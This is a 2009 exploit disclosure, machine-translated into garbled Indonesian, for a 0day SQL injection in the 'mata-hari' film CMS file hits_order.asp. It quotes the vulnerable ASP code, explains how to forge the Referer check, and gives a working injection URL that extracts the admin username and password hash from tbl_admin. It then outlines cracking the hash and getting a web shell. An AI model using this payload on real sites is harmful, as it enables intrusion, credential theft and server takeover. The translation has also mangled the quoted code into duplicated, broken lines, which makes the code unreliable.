Eye-hari Film sistem 0day-0day, hits_order.asp, injeksi, mata-hari sistem film, st0p-blog

Sistem Film 0day mata-hari

Catatan ini telah diposting pada 25 Oktober 2009

: St0p & My5t3ry
Direproduksi, cantumkan http://www.st0p.org sumber

Oh, dan My5t3ry datang dengan lubang, kontak Administrator, resmi, belum ada perhatian kepada saya.

Pertama, saya menyuntikkan masalah

Celah file / p_inc / hits_order.asp

  <- # Include file = ".. / P_inc / config.asp" ->
 <- # Include file = ".. / P_inc / function.asp" ->
 <- # Include file = ".. / P_inc / function_func.asp" ->
 <- # Include file = ".. / P_inc / openconn.asp" ->
 <- # Include file = ".. / P_inc / G_function.asp" ->
 <%
 Then JIKA Tidak ChkPost () Lalu
	 G_error_page_1 respon. Redirect G_error_page_1
	 ( ) respon Akhir ()
 Akhir JIKA
 'Panggil para ChkPost / p_inc / function.asp file () berfungsi untuk mendeteksi URL sumber
 url,numb ) Fungsi G_hitss (url, mati rasa)
	 Dim str
	 str = ""
	 & numb & " id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1 order by m_hits desc,id desc" sql = "top pilih" & mati rasa & "id, m_name, m_pic, m_hits, m_content dari qingtiandy_movie mana m_look = 1 order by desc m_hits, id desc"
             "Saya melihat itu tidak mati rasa, tidak ada penyaring
	 server . CreateObject ( G_RS ) Set rs = server CreateObject (G_RS).
	 , 1 rs. terbuka sql, conn, 1, 1
	 i = 1
	 Apakah Sementara Tidak rs. Eof 
		 Array ( "d" ,rs ( 0 ) ,url ) ) d_url = url_ (Array ("d", rs (0), url))
		 "<div class=kkk1_list><a class=bbb href=" & d_url & " title='主演：" & rs ( 2 ) & "'>" & Get_length ( rs ( 1 ) , "" , 32 ) & "</a> (" & rs ( 3 ) & ")</div>" str = str & "yang <div class=kkk1_list> <a class=bbb href=" & d_url &" title='主演:" & rs (2) & "'>" & Get_length (rs (1), "", 32) & "</ a> (" & rs (3) & ") </ div>
		 i = i + 1
		 rs. MoveNext
	 Lingkaran
	 G_hitss = str
 End Function
 %>
 G_hitss ( request ( "url" ) , request ( "numb" ) ) %> ") document.write ("<% = G_hitss (request (" url "), permintaan (" mati rasa "))%>")
 'Filter Berikut mati rasa

Penggunaan metode seperti
1, Anda dapat langsung menggunakan Referer perangkat lunak palsu, kunjungi alamat berikut untuk mencapai
Melalui XMLHTTP ditempa Referer, kunjungi alamat berikut implementasi
3, oleh JS JAVASCRIPT untuk mengontrol URL sumber

  Sebuah

  ( "<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> " ) ; javascript:. dokumen menulis (<a href='/p_inc/hits_order.asp?numb=1 (select str_username dari tbl_admin) sebagai username,(select str_pass dari tbl_admin) sebagai fiksi ilmiah pass,'> </ a> ") ;

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (str_username pilih dari tbl_admin) sebagai username, (pilih str_pass dari tbl_admin) sebagai lancar,

Catatan: untuk melompati Referer deteksi bisa melalui POST, GET, COOKIE dengan berbagai cara untuk mencapai disuntikkan. . .

Akses ke berikut, username administrator di URL dari link, Hash password yang ditampilkan langsung keluar. .

Crack Hash password yang karena latar belakang dapat langsung mengedit file ASP, ke latar belakang dan mengambil garis SHELL.

Prosedur ini, ada celah lain. Di sini tidak dibuat. .